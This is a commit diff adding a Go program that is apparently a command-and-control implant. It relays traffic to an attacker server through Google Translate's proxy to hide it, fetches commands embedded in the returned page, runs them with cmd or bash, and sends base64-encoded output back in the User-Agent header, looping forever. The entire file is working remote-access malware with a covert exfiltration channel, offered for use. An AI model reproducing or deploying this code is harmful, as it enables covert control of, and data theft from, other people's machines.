|
| 1 | +package main |
| 2 | + |
| 3 | +import ( |
| 4 | + "bytes" |
| 5 | + "encoding/base64" |
| 6 | + "fmt" |
| 7 | + "log" |
| 8 | + "net/http" |
| 9 | + "os" |
| 10 | + "os/exec" |
| 11 | + "runtime" |
| 12 | + "strings" |
| 13 | + "github.com/antchfx/htmlquery" |
| 14 | + "golang.org/x/net/html" |
| 15 | + "golang.org/x/net/html/charset" |
| 16 | +) |
| 17 | + |
| 18 | +type requestData struct { |
| 19 | + url string |
| 20 | + userAgent string |
| 21 | + method string |
| 22 | +} |
| 23 | + |
| 24 | +var C2URL string |
| 25 | +var USERAGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" |
| 26 | +var RESULT string |
| 27 | + |
| 28 | +func xpathParser(html *html.Node, xpath string) string { |
| 29 | + a := htmlquery.FindOne(html, xpath) |
| 30 | + return htmlquery.InnerText(a) |
| 31 | +} |
| 32 | + |
| 33 | +func Encode(data []byte) string { |
| 34 | + return base64.StdEncoding.EncodeToString(data) |
| 35 | +} |
| 36 | + |
| 37 | +func parseCommand(command string) string { |
| 38 | + if strings.Contains(command, "STARTCOMMAND") { |
| 39 | + startIndex := strings.Index(command, "STARTCOMMAND") |
| 40 | + endIndex := strings.Index(command, "ENDCOMMAND") |
| 41 | + return command[startIndex+len("STARTCOMMAND") : endIndex] |
| 42 | + } else { |
| 43 | + return "" |
| 44 | + } |
| 45 | +} |
| 46 | + |
| 47 | +func doRequest(request requestData, printar bool) (*html.Node, error) { |
| 48 | + client := http.Client{} |
| 49 | + req, err := http.NewRequest(request.method, request.url, nil) |
| 50 | + req.Header.Add("User-Agent", request.userAgent) |
| 51 | + resp, err := client.Do(req) |
| 52 | + if err != nil { |
| 53 | + return nil, err |
| 54 | + } |
| 55 | + r, err := charset.NewReader(resp.Body, resp.Header.Get("Content-Type")) |
| 56 | + if err != nil { |
| 57 | + return nil, err |
| 58 | + } |
| 59 | + return html.Parse(r) |
| 60 | +} |
| 61 | + |
| 62 | +func interact(request requestData) *html.Node { |
| 63 | + resp, err := doRequest(request, false) |
| 64 | + if err != nil { |
| 65 | + fmt.Println(err) |
| 66 | + } |
| 67 | + return resp |
| 68 | +} |
| 69 | + |
| 70 | +func translateFlow() string { |
| 71 | + return thirdStep(secondStep(firstStep())) |
| 72 | +} |
| 73 | + |
| 74 | +func firstStep() string { |
| 75 | + request := requestData{ |
| 76 | + url: "https://translate.google.com/translate?&anno=2&u=" + C2URL, |
| 77 | + userAgent: USERAGENT, |
| 78 | + method: "GET", |
| 79 | + } |
| 80 | + result := xpathParser(interact(request), "//iframe/@src") |
| 81 | + return result |
| 82 | + |
| 83 | +} |
| 84 | + |
| 85 | +func secondStep(url string) string { |
| 86 | + request := requestData{ |
| 87 | + url: url, |
| 88 | + userAgent: USERAGENT, |
| 89 | + method: "GET", |
| 90 | + } |
| 91 | + |
| 92 | + result := xpathParser(interact(request), "//a/@href") |
| 93 | + return result |
| 94 | +} |
| 95 | + |
| 96 | +func thirdStep(url string) string { |
| 97 | + var useragent string |
| 98 | + if len(RESULT) != 0 { |
| 99 | + useragent = RESULT |
| 100 | + } else { |
| 101 | + useragent = USERAGENT |
| 102 | + } |
| 103 | + |
| 104 | + request := requestData{ |
| 105 | + url: url, |
| 106 | + userAgent: useragent, |
| 107 | + method: "GET", |
| 108 | + } |
| 109 | + |
| 110 | + var b bytes.Buffer |
| 111 | + html.Render(&b, interact(request)) |
| 112 | + return parseCommand(b.String()) |
| 113 | +} |
| 114 | + |
| 115 | +func execCommand(cmd string) { |
| 116 | + var output []byte |
| 117 | + if runtime.GOOS == "windows" { |
| 118 | + output, _ = exec.Command("cmd", "/c", cmd).Output() |
| 119 | + } else { |
| 120 | + output, _ = exec.Command("bash", "-c", cmd).Output() |
| 121 | + } |
| 122 | + |
| 123 | + RESULT = USERAGENT + " | " + Encode(output) |
| 124 | + translateFlow() |
| 125 | +} |
| 126 | + |
| 127 | +func main() { |
| 128 | + args := os.Args |
| 129 | + if len(args) < 3 { |
| 130 | + log.Fatal("Usage Error\n" + args[0] + " www.c2server.ml secret-key") |
| 131 | + } |
| 132 | + key := args[2] |
| 133 | + C2URL = "http://" + args[1] + "/?key=" + key |
| 134 | + for { |
| 135 | + execCommand(translateFlow()) |
| 136 | + RESULT = "" |
| 137 | + } |
| 138 | +} |
| 139 | + |
0 commit comments